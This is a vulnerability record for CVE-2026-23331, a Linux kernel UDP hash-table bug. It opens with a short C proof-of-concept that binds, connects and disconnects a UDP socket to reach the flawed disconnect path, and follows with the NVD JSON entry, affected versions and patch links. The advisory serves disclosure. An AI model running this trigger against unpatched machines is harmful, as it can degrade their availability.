CVE-2026-23331

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> int main() { int sock; struct sockaddr_in addr; struct sockaddr_in target; struct sockaddr_in disconnect_addr; // Create UDP socket sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // 1. Bind to wildcard address (INADDR_ANY) with a non-zero port memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(12345); if (bind(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return 1; } // 2. Connect to a specific address to enter 4-tuple hash table memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr("127.0.0.1"); target.sin_port = htons(80); if (connect(sock, (struct sockaddr*)&target, sizeof(target)) < 0) { perror("connect"); close(sock); return 1; } // 3. Disconnect the socket // Connecting to AF_UNSPEC disconnects a datagram socket // This triggers the vulnerable path in __udp_disconnect memset(&disconnect_addr, 0, sizeof(disconnect_addr)); disconnect_addr.sin_family = AF_UNSPEC; if (connect(sock, (struct sockaddr*)&disconnect_addr, sizeof(disconnect_addr)) < 0) { // Depending on kernel config, this might return error, // but the logic path is often attempted. perror("disconnect"); } printf("Triggered: Socket bound, connected, and disconnected.\n"); close(sock); return 0; }

{"cve": {"id": "CVE-2026-23331", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:30.510", "lastModified": "2026-04-23T21:13:28.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp: Unhash auto-bound connected sk from 4-tuple hash table when disconnected.\n\nLet's say we bind() an UDP socket to the wildcard address with a\nnon-zero port, connect() it to an address, and disconnect it from\nthe address.\n\nbind() sets SOCK_BINDPORT_LOCK on sk->sk_userlocks (but not\nSOCK_BINDADDR_LOCK), and connect() calls udp_lib_hash4() to put\nthe socket into the 4-tuple hash table.\n\nThen, __udp_disconnect() calls sk->sk_prot->rehash(sk).\n\nIt computes a new hash based on the wildcard address and moves\nthe socket to a new slot in the 4-tuple hash table, leaving a\ngarbage in the chain that no packet hits.\n\nLet's remove such a socket from 4-tuple hash table when disconnected.\n\nNote that udp_sk(sk)->udp_portaddr_hash needs to be udpated after\nudp_hash4_dec(hslot2) in udp_unhash4()."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nudp: Eliminar del hash el sk conectado auto-vinculado de la tabla hash de 4-tuplas cuando se desconecta.\n\nSupongamos que vinculamos (bind()) un socket UDP a la dirección comodín con un puerto no nulo, lo conectamos (connect()) a una dirección y lo desconectamos de la dirección.\n\nbind() establece SOCK_BINDPORT_LOCK en sk-&gt;sk_userlocks (pero no SOCK_BINDADDR_LOCK), y connect() llama a udp_lib_hash4() para colocar el socket en la tabla hash de 4-tuplas.\n\nLuego, __udp_disconnect() llama a sk-&gt;sk_prot-&gt;rehash(sk).\n\nCalcula un nuevo hash basado en la dirección comodín y mueve el socket a una nueva ranura en la tabla hash de 4-tuplas, dejando basura en la cadena que ningún paquete alcanza.\n\nEliminemos dicho socket de la tabla hash de 4-tuplas cuando se desconecta.\n\nTenga en cuenta que udp_sk(sk)-&gt;udp_portaddr_hash necesita ser actualizado después de udp_hash4_dec(hslot2) en udp_unhash4()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13.1", "versionEndExcluding": "6.18.17", "matchCriteriaId": "40E7536C-DA22-4B7D-9953-0343B4D9A3E6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.13:-:*:*:*:*:*:*", "matchCriteriaId": "5A3F9505-6B98-4269-8B81-127E55A1BF00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3b8f104880c104151f8c30f2f89df81fb59a286c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6996a2d2d0a64808c19c98002aeb5d9d1b2df6a4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b955350778b8715e1b7885179979b3a68221c0fb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}